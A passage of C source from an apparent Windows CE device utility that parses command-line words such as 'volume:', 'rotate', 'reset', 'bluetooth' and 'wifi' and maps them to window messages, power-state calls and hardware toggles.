			} else if (wcsicmp(pCmdLine + l, L"previous") == 0 || wcsicmp(pCmdLine + l, L"left") == 0) {
				PostMessage(hwnd, WM_USER_GOTO_PREV, 0, 0);
			} else if (wcsicmp(pCmdLine + l, L"up") == 0) {
				PostMessage(hwnd, WM_USER_GOTO_UP, 0, 0);
			} else if (wcsicmp(pCmdLine + l, L"down") == 0) {
				PostMessage(hwnd, WM_USER_GOTO_DOWN, 0, 0);
			} else {
				PostMessage(hwnd, WM_USER_GOTO, _wtoi(pCmdLine + l), 0);
			}
			return TRUE;
#ifdef EXEC_MODE
		} else if (wcsicmp(pCmdLine, L"close") == 0 || wcsicmp(pCmdLine, L"exit") == 0) {
			PostMessage(hwnd, WM_DESTROY, 0, 0);
			return TRUE;
		} else if (wcsicmp(pCmdLine, L"minimize") == 0) {
			ShowWindow(hwnd, SW_MINIMIZE);
			return TRUE;
#endif
		}
	}

	if (wcsicmp(pCmdLine, L"taskbar") == 0) {
		HWND hWndTaskbar = FindWindow(L"HHTaskBar", NULL);
		if (hWndTaskbar != NULL) {
			ShowWindow(hWndTaskbar, IsWindowVisible(hWndTaskbar) ? SW_HIDE : SW_SHOW);
		}
		return TRUE;
	} else if (_wcsnicmp(pCmdLine, L"volume:", wcslen(L"volume:")) == 0) {
		int l = wcslen(L"volume:");
		WORD vol = GetVolumePercentage();
		BOOL cycle = FALSE;
		if (*(pCmdLine + l) == '+') {
			l++;
			if (*(pCmdLine + l) == '+') {
				l++;
				cycle = TRUE;
			}
			if (cycle && vol >= 100) {
				vol = 0;
			} else {
				vol += (WORD) _wtoi(pCmdLine + l);
			}
		} else if (*(pCmdLine + l) == '-') {
			l++;
			if (*(pCmdLine + l) == '-') {
				l++;
				cycle = TRUE;
			}
			if (cycle && vol <= 0) {
				vol = 100;
			} else {
				vol -= (WORD) _wtoi(pCmdLine + l);
			}
		} else {
			vol = (WORD) _wtoi(pCmdLine + l);
		}
		SetVolumePercentage(vol);
		if (hwnd) {
			PostMessage(hwnd, WM_TIMER, TIMER_ACTUALIZA_NOTIF, 0);
		}
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"rotate") == 0) {
		Rotate(90);
		return TRUE;
	} else if (_wcsnicmp(pCmdLine, L"rotate:", wcslen(L"rotate:")) == 0) {
		int l = wcslen(L"rotate:");
		Rotate(_wtoi(pCmdLine + l));
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"reset") == 0 || wcsicmp(pCmdLine, L"restart") == 0) {
		SetSystemPowerState(NULL, POWER_STATE_RESET, POWER_FORCE);
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"off") == 0 || wcsicmp(pCmdLine, L"standby") == 0 || wcsicmp(pCmdLine, L"suspend") == 0) {
		SetSystemPowerState(NULL, POWER_STATE_SUSPEND, POWER_FORCE);
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"keyboard") == 0) {
		ToggleKeyboard();
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"winkey") == 0) {
		keybd_event(91, NULL, KEYEVENTF_SILENT, NULL);
		keybd_event(91, NULL, KEYEVENTF_SILENT|KEYEVENTF_KEYUP, NULL);
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"bluetooth") == 0) {
		ToggleBluetooth();
		return TRUE;
	} else if (wcsicmp(pCmdLine, L"wireless") == 0 || wcsicmp(pCmdLine, L"wifi") == 0 || wcsicmp(pCmdLine, L"wlan") == 0) {
		ToggleWLAN();
		return TRUE;
	}

	return FALSE;
}